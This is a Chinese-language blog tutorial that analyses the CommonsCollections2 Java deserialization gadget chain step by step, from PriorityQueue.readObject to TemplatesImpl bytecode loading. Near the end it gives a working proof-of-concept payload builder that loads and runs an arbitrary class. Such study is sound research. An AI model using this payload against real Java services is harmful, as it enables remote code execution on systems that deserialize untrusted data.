JAVA反序列化之CommonCollections2利用链

JAVA反序列化之CommonCollections2利用链

Gat1ta 1,504 2022-01-21

前言

分析完CC3利用链,有了之前的基础,我们来独立分析一下CC2利用链。
首先看一下CC2利用链有什么不同:
image.png
通过yso的代码可以看出,cc2利用链用的是commons-collections4版本,而我们之前用的是3.1版本。
所以首先要下载一下依赖,pom文件加入:

        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

另外就是我们反序列化的对象是一个PriorityQueue对象,从名字上看这是一个队列。返回了这个对象就代表这是反序列化的入口,所以我们从这个类开始分析。

PriorityQueue类

首先来看一下这个类的构造函数:

    public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

可以看到构造函数很简单,有两个参数,一个是Int类型的一个是Comparator类型的。构造函数只是构造了一个Object数组放在了this.queue变量中,另外将Comparator参数放在了this.comparator成员变量中。
接下来看一下readObject函数,这才是反序列化的入口,看看这个函数中有什么地方可以触发调用链。
image.png
通过代码可以看出,除了最后一个heapify方法其他并没有可以触发调用链的地方。
继续看heapify方法:
image.png
没啥好说的,继续往下跟:
image.png
到这里可以看到,首先判断了一下comparator变量是否等于null,如果不等于null则调用siftDownUsingComparator方法。
在之前的构造函数中可以看到,这个comparator变量是外部传进来的参数。而yso代码中可以看到传入了一个TransformingComparator对象,所以这个变量肯定是不为null的,所以加下来跟进siftDownUsingComparator方法:
image.png
可以看到在siftDownUsingComparator方法中最终调用了comparator.compare,而comparator变量当前传入的是TransformingComparator对象,所以接下来看一下TransformingComparator类的定义。

TransformingComparator类

老样子,首先看一下构造函数:
image.png
构造函数将我们传入的Transformer对象保存在了成员变量中,这个Transformer对象的定义和之前分析的不太一样,看一下定义:
image.png
总体上差不多,就是加了个键值。
接下来看一下compare方法的定义:
image.png
可以看到调用了this.transformer.transform,而transformer是我们构造对象时传入的Transformer对象。
到这里就清晰了,回想我们之前分析的所有CC链,都是在找一个可以调用Transformer.transform的地方。
接下来继续往下分析一下这个调用链是如何执行命令的。
image.png
执行命令的办法和之前分析的CC3大同小异,这里就不详细分析了,有疑问可以去看之前CC3的分析文章。

构造poc

分析完原理,我们来手写一个CC3验证一下我们的想法是否正确。
最终代码如下:

    public static void main(String[] args) throws Exception
    {
        byte[] fileData = readFileToByte("E:\\JavaSource\\MyDemo\\Hello.class");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
        setFieldValue(templatesImpl, "_name", "Hello");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));

        queue.add(templatesImpl);
        queue.add("test");

        setFieldValue(transformer,"iMethodName","newTransformer");
        ByteOutputStream bout = new ByteOutputStream();
        ObjectOutputStream obo = new ObjectOutputStream(bout);
        obo.writeObject(queue);

        ByteInputStream bip = new ByteInputStream(bout.getBytes(),bout.size());
        ObjectInputStream ois = new ObjectInputStream(bip);
        ois.readObject();


    }

再次提醒,编译成字节码的类文件中不能有包信息,如果有包信息则会执行失败。
被加载的类代码如下:
image.png
运行代码得到如下界面:
image.png

调用链

PriorityQueue.readObject  
PriorityQueue.heapify  
PriorityQueue.siftDown  
PriorityQueue.siftDownUsingComparator  
TransformingComparator.compare  
InvokerTransformer.transform  
templatesImpl.newTransformer  
templatesImpl.getTransletInstance  
TransletClassLoader.defineClass  

总结

这条调用链是CC4.0版本的第一条调用链,引入了两个新类分别是PriorityQueue和TransformingComparator,其他方面变化不大。